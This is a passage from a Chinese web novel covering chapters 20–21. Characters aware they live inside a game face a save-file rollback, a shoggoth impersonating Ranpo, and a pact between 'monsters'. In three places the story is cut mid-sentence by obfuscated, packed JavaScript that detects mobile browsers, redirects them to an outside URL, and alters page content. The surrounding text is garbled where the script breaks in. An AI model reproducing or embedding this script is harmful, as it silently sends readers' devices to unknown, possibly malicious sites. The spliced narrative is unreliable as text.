“叩叩”,他装模作样地敲了敲车门,拉开把手。 出现在那里,是犹如镜像一般,一模一样的两个黑发少年。 在听到动静之后,他们齐齐回头,向着卡洛斯的方向看来。 “哦哦,终于。”面对这略显诡异的景象,卡洛斯脸上却毫无诧异的表情,神色甚至可以称得上是欣慰。 他张嘴,似乎是想说些什么,然而下一秒,就像突然察觉到了什么不可思议的状况一般,猛地抬起头。 “FUCK!!!”在突然出现的,要将整个世界淹没的白光中,最后留下的,是他那满是不甘的怒吼声。 # “……存档书?”我愕然地看着突兀地出现在眼前的,绝对不该由NPC持有的物品,“为什么会在这种地方?” “这也是交易的一部分。”天照院仁说,“他为了那个怪物,可是非常尽心尽力。” 他垂下眼睛,自嘲一笑,“有的时候,我也在想,到底谁才是真正的怪物呢?” “都有这种东西了,为什么还要用这种方法……”我环视了一圈宴会厅内的惨状,下意识地开口,然而,话一说出口,我就察觉到了不对。 我居然对他的动机产生了类似于好奇的情绪。 不过,这也是理所当然的事情。 我们是故事的子民,在重复读过的,已经熟悉到无趣的,被记载和被覆盖的世界线中,突然发现了文本所不曾描述过的,未知的情节,不可能不感兴趣吧。 我知道,其实这样的未知剧情,遍地都是,就算看起来再烂熟于心的角色,他的内心都一定隐藏着不曾对任何人言说的领域。 世界上最聪明的智者,最懂人心的心操师,一定也无法触及的,崇高的圣域。 如果把它们都发掘出来的话,祂——玩家,会愿意回来吗? 但是,我不会,也一点都不想那么做。 因为,我自己也是,一点也不想被人读懂。 祂抛下我们,去寻找新的世界,而我们终于以自己的情感,自己的想法来拥抱这个世界,真实地生活在这里,体会着无法掌控的故事,因为失控而恐惧或喜悦。 这样的我,是不是多少接近了祂一点呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485426|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 我不知道。 但是,我感到非常满足。 “我读了这本书上的所有故事。”天照院仁的声音,打断了我满怀感动的思绪,我将目光放回他身上,诧异于他那如丧考妣的表情。 都读了那样的故事,为什么会是这样的反应呢?这个男人难道毫无知性可言吗? “感想是?”我忍不住追问。 “人类,果然是无可救药的物种。” 哈? 这个人的心灵,莫非相当扭曲? 对我的想法一无所知,他自顾自地维持着那带着轻微厌恶的语调,继续往下说,“无论为他们创造了怎样的条件,拥有怎样优越的开局,真正在为世界的未来奋斗的,永远都只有那么几个人,不是吗?” 他的语速越来越快,也越来越激昂,不知道是不是做教主做久了留下的后遗症,明明现在只有我一个人在听他说话而已,他却仿佛在数百人的礼堂里做演讲。 “崇高的人在为命运抗争,承受着世界的恶意与无尽的痛苦,而愚民们却仍然视而不见,只是盲目地盯着自己的那点痛苦,窃窃私语,自怨自艾,你告诉他们要抗争啊,要为自己的权利而奋斗,而他们只是茫然地看着你,就好像听不懂你说的话一样,连一根手指都不肯动一下。” “他们是真的听不懂吗?不,不是的,他们只是在装傻而已,因为你说的不是他们想听的话。” “他们想成为的,从来都不是什么真正高尚的人,只是想成从被奴役,被欺凌的耗材,变成奴役别人,欺凌别人的支配者而已。” “所以恶人振臂一呼,他们就都争先恐后地爬上去,轻而易举地被蛊惑,轻而易举地沦为走狗,轻而易举地去做加害者。” 说到这里的时候,他眼睛里的仇恨具象化了,我知道,他应当是想起了那么一两个人。 “怎么会有这种蠢事……世界上为什么到处都在重复这种蠢事?” “到最后,连恶魔都在为他们的未来而奔走,即便如此,他们也丝毫不曾努力,只是坐在那里,自取灭亡。” 说到这里,他的满腔怒火像是突然被浇灭了一样,冷冷地苦笑了一下,与我对视,“因为,每一个故事,最终都是悲剧收场,不是吗?” “那只是草稿而已。”我大概明白他的想法了,犹豫了一下,还是告诉了他那些未曾记于纸面上的真相。 那些只有玩家在黑暗的房间里,面对着散发着幽光的屏幕的日子里,祂的叹息和自言自语,一次一次地走向结局,又一次一次地为后日谈的内容感到空虚。 即使力所能及地收集齐了所有同伴,即使有过怎样闪闪发光的回忆,即使直到一切结束前,大家都过着快乐而幸福的日子,然而,只要游戏结束,进入了祂无力干涉的结算环节,一切都像是笑话一般,冷酷而一意孤行地走向最坏的方向。 【如果是这样的话……】我还记得祂的话语,【还不如一开始就不认识大家比较好。】 【我再也不要玩这个游戏了。】 这样的话,我听过多少次了呢? 我闭了闭眼睛,将那些烦乱的思绪抛开,现在不是思考这些事情的时候。 再睁开眼睛时,我只是毫无感情地直视着天照院仁的双眼。 “Happy Ending是存在的,那些被记载下来的故事,还有没被记载下来的故事,都只在为真正的结局做准备而已。” “Happy Ending啊……”即使听到这些话,天照院仁也没有任何积极意义上的波动,他冷冷地笑着,“事到如今,告诉我这些又有什么意义?” “就连你所说的那个神,祂不是也放弃了吗?” “在这片被神抛弃的土地上,”他咬牙切齿,每一个字都像是耗费全身力气挤出来的一样,“既然祂不愿意再做选择,那么就由我来做选择。” “降罚于罪孽深重的灵魂,停止一切的悲剧,将这个世界还给那些值得的人。” “我来成为神。” 他这么说着,突然高高举起了存档书。 我意识到他要做什么,毫不犹豫地伸手去抢夺存档书,然而,已经来不及了。 在一阵眩目的强光之中,一切都变得模糊,然后,倒退。 我最后看到的,是他抬头望着天空,无悲无喜的神情。 在这样远离天空的地下,他到底能看到什么呢? 我不禁想。 20.第 20 章 睁开眼睛,是在高层公寓的阳台上。 身体清爽得不像重伤过,满脑子想要破坏什么的欲望,也消失殆尽了。 在教堂地下的宴会厅,和修格斯大战至大道都湮灭了,这些事情,也都想做过的梦一样烟消云散,找不到任何痕迹。 毕竟,回档就是这样的东西。 有些空虚,又有点焦虑地拿起手机,确认日期。 手机屏幕上显示,现在是3月31日的晚11点多,看到屏幕上的时间,我不禁松了一口气。 这个时间点,是我刚和乱步君参加完圣天锡杖的宣讲会,回到住处的时候。 还好没有读档到更早之前,虽说能重新认识一遍乱步君也很好,但我果然不想让绞尽脑汁才打出的珍稀flag重置,重来一次,我可能也没办法那么自然地装出初见的样子,总觉得会被乱步君识破。 总之,这样那样的话,变数会很多,读档回到的是这个时间点,已经是不幸中的万幸了。 这样想着,我从阳台回到客厅,正好撞上从浴室出来的乱步君。 几乎是下意识地微笑起来,我向着他迈出一步,然而下一秒,笑容就凝固在了脸上。 不止是笑容,连身体都像是被冰冻了一样僵硬,我站在那里一动不动,面无表情地注视着眼前的乱步君。 不,应该说,是顶着乱步君脸的,其他什么东西。 “你这家伙,是谁?”我听见自己冷漠的声音。 # “FUCK!!!”维持着对天长啸的姿势,卡洛斯睁开了眼睛,看见周围的人诧异而惊恐的视线。 这是一间奢华而隐隐透露出典雅品味的接待室,除了卡洛斯之外,沙发上还坐着他的两个西装革履的男人,名字是记不住的,隐约记得,这是他的业绩指标。 回想起过去几个月的事情,卡洛斯不禁重重叹了口气。 虽然同样是pc,但和被他称为“弟弟”的时田纯不一样,卡洛斯·穆里尼奥是以偷渡者的身份,来到这条世界线上的。 作为纯粹的战斗用pc,在玩家没有意愿推进主线的情况下,当然也就没有用武之处。 虽然他原本生活的那条世界线的结局相当惨烈,也失去了很多重要的人和事物,但卡洛斯本来是失去了一切也能好好活下去的人。 所以就算发生了这样那样的事情,他大概也能什么也不去想的,就这样继续向前迈进。 如果玩家没有删除那个通关存档的话。 【反正,这条世界线,也什么不会改变。】 最后的记忆,是那个臭老太婆这样的话语。 别开玩笑了! 不管你是怎么想的,这都是我所珍惜的,我真正活在这里的世界啊。 在那次赌约过后,原本以为多少能够互相理解了,却依然迎来了这样的结局,怒火中烧的卡洛斯,想这样对她怒吼,然而,这大概也是无法传达的吧。 在千钧一发的时刻,几乎舍弃了所有身外之物,一次又一次地在存档之间跃迁,最终抵达了这个可以说是最安全的新世界线。 甚至连最重要的伙伴,名为“修格”的那只修格斯,也在偷渡的过程中失散了。 毕竟,不论卡洛斯本人是如何看待他的,对于这个游戏来说,修格也并非队友或者NPC之类的存在,而只是召唤物,pc的一种装备而已。 就算在这个全新的世界里,拼尽全力再一次找到了他,见到的也只是没有经历过一切的,普通的修格斯而已。 甚至变成了别人——天照院仁的装备。 这是什么新型的NTR play吗? 即使是这样最糟糕的情况,也能笑着说出这种话,卡洛斯就是这样的存在。 为了找回重要的同伴,将修格的身体重新安全无虞地培育出来,卡洛斯就这样过上了给天照院仁打白工的日子。 为了防止剧情产生偏差,学着玩家曾经做过的事情,兢兢业业地复刻每一个重要节点,帮助天照院在教会中掠夺权力,一路为其保驾护航,直至送上教主的位置,之后更是以影子教主的身份,连笼络富商的责任也一并承担了。 虽然说是笼络,但对于【交涉】技能只有5,低于大部分人初始值的卡洛斯来说,实际操作起来,其实称为恐吓更加恰当。 也不知道天照院仁这个逼人是有多想不开,可能手头实在没人了吧,连数值都不看就直接把战斗角色框框地拖进事件里开始过剧情。 察觉到自己这个想法的瞬间,卡洛斯露出了略带嘲讽的笑容。 果然,只要接触了这个世界的本质,就会不自觉地产生这种思考模式。 傻逼玩家,把他的人生彻底毁了,然后就若无其事地离开,只丢下一地乱摊子。 “请……请问,教主大人,是我们有哪里做得不对吗?”大概是事件的发展实在过于莫名其妙,沙发上的两个业绩指标对视一眼,还是忍不住战战兢兢地开口。 从他们的视角来看,大概就是刚才还在正常谈话的对象在短暂的眩晕之后,突然从沙发上一跃而起,看着天空大爆粗口吧? 卡洛斯有些乏味地看着他们,连解释的心情都不太有,正想随意敷衍几句糊弄过去的时候,耳朵却敏锐地捕捉到了“嘎吱”的声响。 回过头,连接着内室的小门不知道何时被推开了,从那里走出的,是一脸茫然的黑发少年。 他的视线在室内梭巡过一圈,最后落在了卡洛斯的脸上,难得茫然地开口,“什么啊?” # “你这家伙,是谁?”我冷淡地望着眼前的黑发少年,从系统背包中缓缓抽出了天丛云,毫不犹豫地用剑尖指向面前的这个人。 无论从哪里看,他都像乱步君本人,然而,在他的身影进入我视野的一瞬间,就像全身的细胞都在叫嚣着违和感一般。 不对!不对不对不对不对不对不对! 没有点开过的系统界面自发地跳出,黑色的文字所组成的,粘稠的某物,在边框内流淌,跳到了队友界面的人物属性面板。 心跳得很快,握着太刀的手在颤抖,我的第一反应是,乱步君已经遇害了。 世界都变得像系统UI一样黯淡无光。 毕竟,这盘游戏里是有修格斯这一神话生物存在的——乱步君遭到了袭击,然后被不知名的怪物替代。 这样的想法是相当自然的。 仿佛要印证我的猜测一般,在面前展开的队友面板上,姓名栏根本不是乱步君的名字,而是一串毫无意义的乱码,此外,属性点也非常不一样。 那个手无缚鸡之力的乱步君,怎么可能会有高达150的力量? 与之相对,智力却只有90,在人类里确实已经是顶尖的数值,但是乱步君可是刚登场的时候,被玩家怀疑是伊斯人的,奇迹一般的存在啊。 “不是啦!我没对那小子动手!”仿佛察觉到我几近崩溃的状态,对面那个假货立刻飞快的开口,语气甚至有点惊恐,“这个情况大概是回档产生的系统bug,总之,你先冷静一点。” 摇晃的视野随着他的话语渐渐安定了下来,在系统界面内横冲直撞,仿佛要将其冲破的黑色文字也渐渐平息。 我深吸一口气,按照他所说的,勉强维持冷静,抬起眼睛,重新注视眼前的假货。 对方看起来也相当不安,用动物来比喻的话,就像炸毛的猫咪,视线在房间内游移,仿佛想找个什么地方躲进去一样,伴随着我每一个微小的动作,都像是要直直蹿起来,跳到天花板上。 我看着他,没有丝毫动容,不如说,如果只是外表一样的话……只是外表一样的话……一样的话…… 好像也不是不行? 毕竟,我收藏的那些手办啊,小卡啊,娃娃啊,不也是只有外表一样吗? 这么一想的话,对面的假货,一下子就从面目可憎的怪物,变成了真人等比娃娃的形象。 能代。 虽然是这么想的,但我还是尽力维持着冷漠地语调,对他开口。 “解释。” # “简单来说,那孩子最初的拟态就是模仿的乱步君嘛,毕竟就是为了这种目的才诞生的,所以底层代码大概很大一部分是一样的?我不是很懂计算机方面的事情啦,估计是回档的时候产生了某种机制bug,把你们两个人的位置换错了吧?” 豪华的接待室内,那两个业务指标已经被卡洛斯三言两语打发走了,房间里只剩下他和乱步两个人。 “不过真是奇怪啊,”卡洛斯摸着下巴,“乱步君既不是pc,也没有存档书,为什么也保留了记忆呢?” 他把那身累赘的圣袍扔在一边,白色的斗篷下居然是相当方便行动的紧身战术服,此时瘫在沙发上,若有所思地看着坐在对面的乱步。 “这也是超自然的一部分吗?魔法?还是你们之前说的异能力?”乱步的表情可以说是相当混乱,然而,大概是某种理性的天性所致,即便如此,他也试图努力地用逻辑厘清现状。 “你知道魔法啊?”卡洛斯大为惊奇,“弟弟君真是什么都告诉你呢。” “‘魔法是一种遵循着特定规则的工具’,他是这么和我说的。” “嗯?”听到这句话,卡洛斯高高挑起了一边的眉毛,看起来满头问号,“哇,那家伙真是比我想得还要……” 他没能说出一个具体的词,但看表情就知道,那是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……他说,让我把大家都当成傻瓜就行。” 不知为何,这句话一说出口,对面的卡洛斯就突然喷笑了。 他笑得相当大声,用力地捶着沙发,说着类似于“受不了了”这样的话,好半天才坐直了身体。 “嘛,虽然那家伙的做法有点问题,但你就听他的吧。”他一边拭去笑出来的眼泪,一边满不在乎地说,“之前在河边的时候,我说了很多过分的话吧?那个,对不起啦,你就当没听过吧。” “被否定到那种程度,居然让我当作没听过啊。” “因为我知道的啊,就算一直逃避,就算之前表现得有多么丢人,到最后,乱步君都是想做就能做到的孩子。” 这一瞬间,卡洛斯一直无所顾忌的表情,甚至有点难得的温柔,低垂的眼眸,仿佛在怀念什么一般,然后,抬起眼睛,注视着乱步,金色的眼眸就像跳动的,温暖的火焰。 “所以,不管是想要向什么东西证明,或是反抗什么东西,都只要做你想做的事情就好。” “……那是你重复了450年后得出的结论吗?” “他连这个都和你说了啊,”卡洛斯好笑地摇摇头,“真是……该说他诚实还是狡猾呢?” “那家伙就是这样的,在没必要的地方说谎,又在没必要的地方诚实,”乱步不感兴趣地移开视线,“他就是这种混乱又不合理的家伙。” “嗯?”卡洛斯仿佛察觉了什么一般挑挑眉,“看来这一周目,已经没办法让乱步君中意我了呢。” “晚了一步,乱步君已经有中意的家伙了呀。” 随即,他混乱邪恶地“哇咔咔”怪笑起来,“不过横刀夺爱做小三也是我喜欢做的事情。” “你也很喜欢说没必要的谎呢,明明已经有了其他中意的同伴不是吗?”丝毫没有被吓到,乱步直视着他的眼睛,毫不客气地反驳道。 “哎呀哎呀,直接说出来还怪不好意思的。”卡洛斯耸耸肩,“450年啊……说起来也太沉重了,我可不喜欢那种沉甸甸的东西。” “我会这么觉得,只是出于我这个人,微不足道的,67.1小时的人生哦。” “虽然听起来很短,但已经是我拥有的全部了。” “在这样的短暂的人生里,我认识了乱步君,想要相信我亲眼认识的那个乱步君,虽然,他现在也已经不在这里了。” 那种温柔又怀念的神色,重新回到了他的脸上,在抬起眼睛一瞬间,却又都消失不见了,“所以,乱步君也相信自己吧。” “这是,除了我的回忆之外,已经哪里都找不到了的,属于我和乱步君两个人的魔法哦。” 21.第 21 章 “自横滨本地时间4月1日0时起,天空中突然出现了笼罩整个城市的巨大金色光幕,目前社会主流意见认为,这是一场愚人节大型灯光表演,但也有专家表示,以现在的科技水平无法实现如此大范围且清晰的灯光效果,即使能实现,成本也无法估量,截至今日上午9时,尚未有组织对此现象表示负责,现在我们把镜头交给现场的记者荻野小姐……” “各位观众早上好,这里是现场记者荻野,现在我们正位于城市边缘,也就是光幕的底部,通过现场摄影可以近看见,现场并没有发现任何类似于放映机一类的机械,同时,我们也能看近距离看到光幕内部的景象,流光溢彩,十分漂亮。” “光凭借肉眼判断,很难相信这只是单纯的光影现象,整个都像有实体一样,但是人和物体都可以轻松地在其中穿越。”她演示性地将手掌穿过光幕,金色的光点如同河流般,温柔地从指缝间淌过。 “现在也有很多市民都聚集在城市边缘观看这一现象,我们随机采访几位市民,听听他们的意见。” “怎么说呢?感觉像是那个,结界一样?奇幻电影和漫画里不是经常出现吗?”穿棒球服,大学生模样的青年不好意思地对着镜头挠了挠头发。 “你漫画看太多了啦。”他的同伴笑嘻嘻地在镜头外吐槽。 “你好啰嗦。” “果然是灯光秀吧?最近那个股价涨得很厉害的公司,叫什么来着?千轨科技?不是刚刚举办了AR技术的发表会吗?我觉得这次也是一种大型宣传广告吧。”中年上班族推了推眼镜,一本正经地发表着意见。 “是宇宙人啦,宇宙人。”抱着木吉他弹唱的青年面前是摊开的琴盒,他不时朝投放零钱的路人们点头致意,抽空扭过头,对着镜头笑嘻嘻地说,“51区被解剖的外星人的同伴来向地球复仇……” 他的话没能说完,就被跌跌撞撞闯入镜头的人打断了。 来人的外型不修边幅,看起来像是路边的流浪汉,此时,不知是喝了酒,还是其他什么,神志似乎也不是非常清醒,张开双臂,脚步虚浮,像是在跳着什么民俗舞蹈一样,却又一个劲地“嘿嘿”傻笑着。 “这是……审判日。”他突然向摄影机的方向扑去,事发突然,电视台的工作人员一时竟然没能拦住他。 放大的脸在电视里清晰得令人不安,连发黄的牙齿和眼球里浑浊的血丝也看得一清二楚。 他从衣领后拽出一枚吊坠,展示给镜头看,激动地唾沫横飞,“这个世界,马上会迎来重生,天启四骑士已经开始了他们的骑行,大洪水会将一切污秽都冲刷干净,只有被方舟选中的人能够幸免于难!不信神的,恶魔的选民,你们就看着,然后和这个世界一起毁灭吧,哈哈哈哈哈哈哈哈!” 之后的镜头是一片混乱,在堪称放松事故的天旋地转之后,出现在画面里的,是整整齐齐排成方阵,虔诚地对着光幕叩拜的人群。 他们嘴里念念有词,对周遭的视线视若无物,刚才那个引起混乱的流浪汉也踉踉跄跄地走向方阵,加入了祈祷的队伍。 这个镜头一闪而过,很快回到了挂着职业性笑容的女记者身上,“看来市民们对这一现象有着各种各样的看法,不知道屏幕前的各位观众是什么想法呢?本台也会对这一事件进行跟踪性报道,现在我们把画面切回演播室。” “喂,该走了吧?”我出声催促从刚才开始,就趴在电器店的橱窗前,专心致志地看着电视里新闻报道的,乱步君的假货。 “才不是什么假货。”明明没有说出口,他却仿佛会读心一般,精准地指出了我的想法,回过头,气鼓鼓地看着我,抱怨道,“我有自己的名字,倒是好好叫啊。” “吃白食的没必要有这么多的意见吧?”我冷酷道。 “才不是吃白食,是拿劳动换的吧!” 我不置可否,虽然看起来很冷静,但心里其实非常焦躁,还有强烈的负罪感。 明明乱步君仍然下落不明,我却如此悠闲地和这个假货在伊势佐木大道上,为了去家庭餐厅的这种小事而争执不休。 事情会发展成这个样子,还要从昨晚说起。 “解释。”我用天丛云的指着他,冷漠地开口。 仔细想想,最近好像经常做这种事情,怪不得玩家这么喜欢点斗殴射击闪避,并得意洋洋地称其为新御三家,踢门确实 爽啊。 假货一动不动的僵在那里,视线一错不错地盯着我手上的天丛云,果然,不是我的错觉,他好像特别害怕我手上的这把剑,略一思索,我就得到了答案。 “之前在地下宴会厅里的,难道都是你的分裂体吗?” 怪不得,就算天丛云的伤害相当可观,但作为对战修格斯的战局来说,那还是赢得太轻松了,不过,如果那些都是眼前这家伙的分裂体的话,就能说得通。 战斗AI不够智能,恐怕数值也有所劣化,如果在场的是本体的话,胜负恐怕就很难说了。 不过,这家伙好像能够共享分裂体的记忆,不知是不是之前的惨败给他留下了相当深刻的印象,他现在就像应激的猫咪一样,尽力地向后缩,拼命想离这把屠杀过他分裂体的剑远一点。 “啊啊!知道啦!我会解释的,所以你先把剑收起来。”他不安地扭动着身体,这种姿态恐怕是这个种族的天性吧,不过以人类的形态做出来,看起来就相当怪异。 我忍不住多看了几眼。 他大概把这种行为理解成了威胁,立刻抱怨似的补充道,“你好凶。不用那么紧张啦,你的乱步君估计现在正和卡洛斯在一起,被好吃好喝地招待呢。” 说到这里,他有点委屈地瘪了瘪嘴,“放心吧,卡洛斯喜欢他喜欢得要死,根本不会对他做什么的。” “骗人。”我毫不犹豫地否定,有些阴沉地看着他,“那家伙根本就不可信吧?” “为什么?”他有些不可思议地歪着脑袋,看着我,“你不应该很清楚他们之间的因缘吗?那种程度的话,还有什么值得怀疑的?” “那根本就是装出来的,全部都是演技罢了!”我不自觉地提高了声音,情绪比我自己以为的还要激动,“因为……因为……” 仅仅是回忆起那用文字描述出来的状况,我就觉得眼前一阵一阵的发黑。 “那个乱步君明明那么相信他,却全都被辜负了不是吗?” 我能感觉到,在我说出这句话之后,眼前的假货凝在我脸上的视线,他现在,应该正在细致地观察我吧? 我讨厌被人读懂,但是此刻,我已经没办法掩饰那些情绪了。 然后,仿佛理解了什么一般,在寂静的房间里,半晌,我听到了他的回答,“原来你是那么看待那件事情的啊?但是,我并不觉得那是辜负哦。” “像你这种冒牌货,又能懂乱步君什么?”我毫不犹豫地向前递了递剑锋,“皮套穿久了,真的以为自己是人类了吗?” “确实,你们人类强烈的爱憎,不管过多少年,我也没办法理解。” 丝毫没有被我刺耳的话语攻击到,他毫无波澜地说,和乱步君清澈的双眼不同,同样的绿色,他的眼睛里却有某种更加混沌的色彩,就像是动物的眼睛一样,充满了难以驯化的野性。 “但是,我一直好好看着卡洛斯,所以多少能明白一些。” “他,大概只是回应了那家伙的期待而已。” “因为,用自己的眼睛好好看着某个人,按照自己的心意做出决定这件事情,也是卡洛斯教给我的。” 我看着他,毫无疑问,这家伙是怪物,是人外,从他的言行来看,也毫无芥蒂地拥抱了自己的天性,并不存在什么想要成为人类的想法。 然而,无论过去或者未来是何种情况,起码在此时此刻,那张脸上,是纯粹的,属于人类的神色。 在察觉这一点的瞬间,我的理智,彻底被某种混沌的情绪击溃了。 惊诧,恐惧,困惑,嫉妒,恶心,自卑感,憧憬,想要成为,但是没有办法成为。 “那家伙不也尽说谎话!”在说出这句话的那一刻,我的劣等感已经无处隐藏了,然而,没有停下的意思,发泄般地将心中的所有想法说出了口。 “如果真的那么在乎的话,为什么就这么放弃了?信任也好,爱也好,我想要却得不到的东西,他明明全部得到了。为什么……为什么明明已经成为了同伴,却轻易地抛弃了乱步君啊?” “就算是去抢去骗,把乱步君也变成pc不就好了吗?” 他仿佛理解了什么一般,诧异地看着我,残忍地笑了,“什么啊?” “原来你也是我这边的啊。” 我想说些什么反驳他,然而,什么也说不出来。 仿佛要拯救我的难堪一般,金色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494868|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光芒适时地突然冲天而起,将夜晚的城市照耀得如同白昼。 我们不约而同地回头,看见的是宛若神迹的景色,不,应该说,那就是神迹本身。 灿烂又柔和,牛乳般白金色的光辉,自城市的边缘缓缓升起,像要将一切包裹起来一般,遮蔽了整座城市的光幕。 我不自觉地追随着这耀眼的光芒,走向了阳台的方向。 “最后还是选择了这个方案啊。”略感无趣的声音在我的身后响起,在我看过去的时候,他突然像是想到了一样,兴致勃勃地开口。 “你是想和乱步君一起抵达HE吧?”就像觉得很有趣一样,他说这话时,露出了带点不以为然的笑,“为了实现这一点,所有阻挡在面前的敌人都要清除掉?” “没错。”我毫不犹豫地回答,是啊,和玩家不一样,和安于现状的那家伙不一样,如果说,我有什么值得称道的地方,大概就是这份决心了吧? 我,绝对要抵达HE。 “这样的话,我们就是同伴了。”听到我的回答,他满意地笑了,“我啊,和卡洛斯做了约定。” “虽然现在还很安全,但是这个脆弱的世界,一定会有通往终结的那一天吧?毕竟,这是个神明大人能够随心所欲处置的世界嘛,所以,我和卡洛斯约好了,我们要一起逃亡,这个存档毁灭了,就逃到下个存档去,一直一直走下去,直到无路可逃为止,只属于我们两个人的公路电影。” 说到这里,他的脸上又出现了那种,人类一般幸福的神色,然而这种幸福,下一秒就消失不见了。 “但是,就算是这样,也快到极限了。” 他抬起眼睛,看着我。 “你知道的吧,除非有奇迹发生,否则,这就是最后一周目了。” “因为,这个世界,已经被坏心眼的神明大人抛弃了嘛。” 他说得相当轻松,我大概能明白,因为他并非玩家亲手捏出来的角色,所以对于祂,应该也没有什么特殊的情感,如果一定要说的话,甚至有点讨厌吧。 “我和卡洛斯约好了,到了无路可逃的时候,就由我来把他吃掉。”说到这里的时候,他的神色里有一种天真的理所当然。 “?”我被这古怪的思路镇住了,忍不住追问,“为什么?” 这种约定,根本没有合理性可言啊。 “你看,我们修格斯,不是很像大变形虫吗?”他歪头道,“既然是‘bug’,那么就算这个虚假的箱庭毁灭了,也有逃出去的机会,他是这么说的。” 这是什么啊?这种时候讲谐音梗冷笑话?而且超没水平的。 我过于震撼,一时间不知道该说什么。 “我知道这当然是胡扯啦,不过约定就是约定。但是……”他走到巨大的落地玻璃前,注视着眼前光华璀璨的景象,“真美……” 他扭头,看向我,“这么漂亮的东西,本质上却是假的,很不讲理吧?” 我知道,他说的并不是光幕。 “就算是假的也无所谓,我已经不想吃掉卡洛斯了,所以,我一定要抵达,神明大人也无法干涉的领域。” “结局。”我已经明白他想说的是什么了,微微错开了视线,“就算是玩家,也没有办法干涉结局。” “没错,但是,坏结局是禁止的哦。”他双手食指相交,在身前比了个叉。 “那么,你呢?”他歪头看着我,“要做着白日梦,等待着神明大人某一天突然大发慈悲,还是和我一起寻找通往HE的道路?” “玩家不会回来了。”我回避了他的视线,只是这么说。 “嗯?”他像是从这句话中品味出什么一般,诧异地笑了,“原来,你也是有真正好好看着的对象的啊。” “只不过,对方是在箱庭之外的,无法触及的存在吗……” 他突然凑过来,仔细地观察我的表情,我扭过头,不自在地避开了他的视线。 “那么。” 他强硬地抓起我的手,“啪”地击了一下掌,这似曾相识的动作,让我回想起了乱步君。 这种相似的地方,也是因为拟态吗? 然而,抬头看到那险恶的表情,我就知道,他们两个,根本不是一回事。 “怪物的同盟,就这么成立了。”他邪恶地笑着,擅自和我做下了约定。 我果然,讨厌被人读懂。